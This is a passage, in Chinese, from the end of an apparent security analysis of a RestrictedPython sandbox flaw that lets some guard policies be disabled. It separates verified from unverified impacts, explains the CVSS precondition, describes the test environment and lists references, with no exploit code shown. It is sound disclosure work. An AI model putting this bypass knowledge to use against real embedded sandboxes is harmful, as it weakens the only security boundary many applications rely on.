_getattr_hook 对象被捕获（P4）； - 读/下标策略零调用（P1/P2）。
未验证 / 无法从本文确认——不做外推：
- 真实部署中的敏感数据读取与通用任意写：取决于具体产品的对象模型、guard 实现和授权规则；
pickle串联 RCE：官方公告原文是条件性表述（"若嵌入应用以不安全方式处理沙箱控制对象"），链路在嵌入方实现里，不在 RestrictedPython 库内；- 后 5 个内部 guard 的完整应用后果链：机制已验证，后果未构造。
关于 CVSS 的 PR:H：这个前置条件对应"攻击者已经能向沙箱提交并执行代码"——这正是 RestrictedPython 的设计使用场景（执行不可信代码），所以它不是"漏洞不严重"的意思，而是这类沙箱漏洞的固有前提。
净能力增量可以这样表述：漏洞把"受限子集 + guard 策略"下的代码执行，变成**"仍在受限子集内执行，但可以让部分 guard 策略失效"**。它不直接绕过 RestrictedPython 的语法限制，更不直接等于 RCE——但策略层是很多嵌入方唯一的安全边界，边界失效的实际影响要按具体产品评估。
环境说明：文中所有端到端判定在 Docker（Python 3.12.14 + 哈希锁定的 wheel）中验证；同一套脚本在本地 venv（Python 3.14.6 + PyPI 安装的 8.2/8.3）复验，16 项判定结果一致——结论不依赖特定 Python 补丁版本。
参考
- 官方公告：GHSA-ffg3-p8fm-mjx2
- 修复提交：
3737596 - NVD：CVE-2026-55830
- PEP 570 – Python Positional-Only Parameters
- CWE-184: Incomplete List of Disallowed Inputs
- RestrictedPython 源码：tag
8.2（163cca0b） ／ tag8.3（c2250bd7）
END